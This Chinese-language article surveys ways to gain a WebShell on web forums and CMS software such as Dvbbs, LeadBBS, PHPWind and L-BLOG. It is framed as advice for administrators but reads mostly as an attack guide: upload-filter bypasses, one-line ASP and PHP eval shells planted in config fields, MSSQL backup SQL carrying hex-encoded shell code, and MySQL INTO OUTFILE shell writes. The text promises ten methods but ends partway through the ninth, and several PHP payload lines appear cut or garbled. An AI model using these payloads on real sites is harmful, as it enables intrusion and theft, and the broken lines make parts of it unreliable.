在攻防实战中，黑客入侵企业网站的第一步往往是获取WebShell——拿到网站的控制权，后续的渗透、提权、数据窃取才能展开。对于网络管理员来说，只有真正了解攻击者是如何拿到这个“入口”的，才能在防御时做到心中有数。本文梳理了十种常见的获取WebShell的途径，每一种都对应着特定的漏洞场景或配置缺陷，希望能帮助运维团队有针对性地加固。

一、直接上传获取WebShell

这是最直接的一种方式，常见于PHP和JSP程序中。比如早年MolyX BOARD的心情图标管理功能，上传一个PHP文件没有任何提示，但文件已经成功落到了images/smiles/目录下。联众游戏站和网易的JSP系统漏洞也曾允许直接上传JSP文件，文件名保持不变。Bo-blog的后台更是直接允许上传PHP文件，路径会明确提示。更经典的例子是动网5.0和6.0的upfile.asp漏洞——上传模块没有对文件类型做严格过滤，攻击者可以直接上传任意后缀的脚本文件到可写目录，从而拿到管理员权限。

二、添加修改上传类型

很多脚本程序的上传模块虽然限制了合法文件类型，但后台却允许管理员自行添加上传后缀。比如BBSXP后台可以添加asa|asP类型，Ewebeditor后台可以添加asa类型，添加后就能直接上传.asa后缀的WebShell。还有一种特殊情况：系统过滤了.asp，但允许添加.aspasp这样的类型，上传后依然能解析。PHP系统后台可以添加.php.g1f这样的后缀，PHP会将php.g1f当作.php来执行，只要最后一个“点”后面的不是已知文件类型即可。LeadBbs 3.14的后台，可以在上传类型中增加asp （注意后面带空格），然后在前台上传一个同样带空格的ASP马，就能成功拿到Shell。

三、利用后台管理功能写入WebShell

当上传漏洞被补得差不多后，进入后台后还可以通过修改配置文件或功能模块来写入WebShell。典型例子是DVBBS 6.0和LeadBBS 2.88，直接在后台修改配置文件，写入后缀为.asp的文件。LeadBbs 3.14的另一种玩法是：添加一个新的友情链接，在“网站名称”处填入冰狐最小马（前后随便加些字符），提交后Shell就生成了，路径为https://网站/inc/IncHtm/BoardLink.asp。

四、利用后台管理向配置文件写WebShell

利用"、:、//等符号构造最小马，写入程序的配置文件。Joekoe论坛、某某同学录、沸腾展望新闻系统、COCOON Counter统计程序等很多PHP程序都存在这种问题。以COCOON Counter为例，在管理邮箱处填入cnhacker@263.net"：eval request(chr(35))//，配置文件里就会变成webmail="cnhacker@263.net\"：eval request(chr(35))//"。另一种写法是cnhacker@263.net"%><%eval request(chr(35))%><%'，这样前后闭合，最小马就能运行。再如动易2005，在文章中心管理→顶部菜单设置→菜单其它特效中，插入一句话马"%><%execute request("l")%><%'，保存后Shell地址就是https://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获取WebShell

后台的“备份数据库”或“恢复数据库”功能，如果对“备份的数据库路径”等变量没有过滤，就可以把任意文件后缀改为.asp，从而得到WebShell。MSSQL版程序如果直接套用了Access版的代码，也会存在同样问题。反过来，还可以把网站ASP文件备份为.txt，查看源代码获取更多信息，比如数据库路径，为后续数据库插马创造机会。动网论坛有一个IP地址的数据库，在后台的IP管理中可以插入最小马，然后备份成.asp文件。关于突破上传检测：很多ASP程序即使改了后缀也会提示非法，可以在ASP文件头加上gif89a，修改后缀为.gif来骗过检测；或者用记事本打开图片文件，复制一部分到ASP木马文件头，再改后缀上传，最后备份为.asp即可。

六、利用数据库压缩功能

有些程序的数据库压缩功能可以解除防下载限制，使插入数据库的最小马成功运行。典型例子是loveyuki的L-BLOG，在友情链接的URL处写入<%eval request(chr(35))%>，提交后到数据库操作中压缩数据库，压缩出来的文件是.asp，用海洋的最小马eval客户端连接就能拿到WebShell。

七、asp+mssql系统

以动网MSSQL版为例，可以通过本地提交表单来备份。首先在发帖处上传一个写有ASP代码的假图片，记住路径。然后写一个本地提交表单，代码类似：

；declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——
；Drop table [heige]；create table [dbo].[heige] ([cmd] [image])——
；insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
；declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——

其中0x626273是库名bbs的十六进制，0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制，0x643A5C7765625C312E617370是d:\web\1.asp的十六进制。差异备份成功率较高，且能极大减小备份文件大小，避免因防下载表或错误代码导致Shell失效。

八、php+mysql系统

后台如果有MySQL数据查询功能，可以利用SELECT ... INTO OUTFILE查询导出PHP文件。首先通过正常手段把WebShell代码插入MySQL，再导出。例如在MySQL操作里输入：select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径'，得到的最小马。这种方法对phpMyAdmin比较普遍，先利用路径泄露漏洞爆出绝对路径。注意Windows系统下路径要写成d:\\wwwroot\\a.php。另一种常用方法：

CREATE TABLE a (cmd text NOT NULL)
INSERT INTO a (cmd) VALUES('")?>')
select cmd from a into outfile '路径/b.php'
DROP TABLE IF EXISTS a

访问b.php就会生成一个的最小马。如果遇到可以执行PHP命令的后台，比如BO-BLOG，在后台的PHP命令框输入：

");fclose($sa);?>

会在up目录下生成saiy.php，内容为，用lanker客户端连接即可。实际运用中要确认文件夹是否有写权限。

九、phpwind论坛从后台到webshell的三种方式

方式1：模板法 进入后台→风格模版设置，在任意一行写代码，代码必须顶在行首，前面不能有任何字符：EOT；eval($a)；print <<，然后访问https://网站/bbs/index.php即可得到Shell。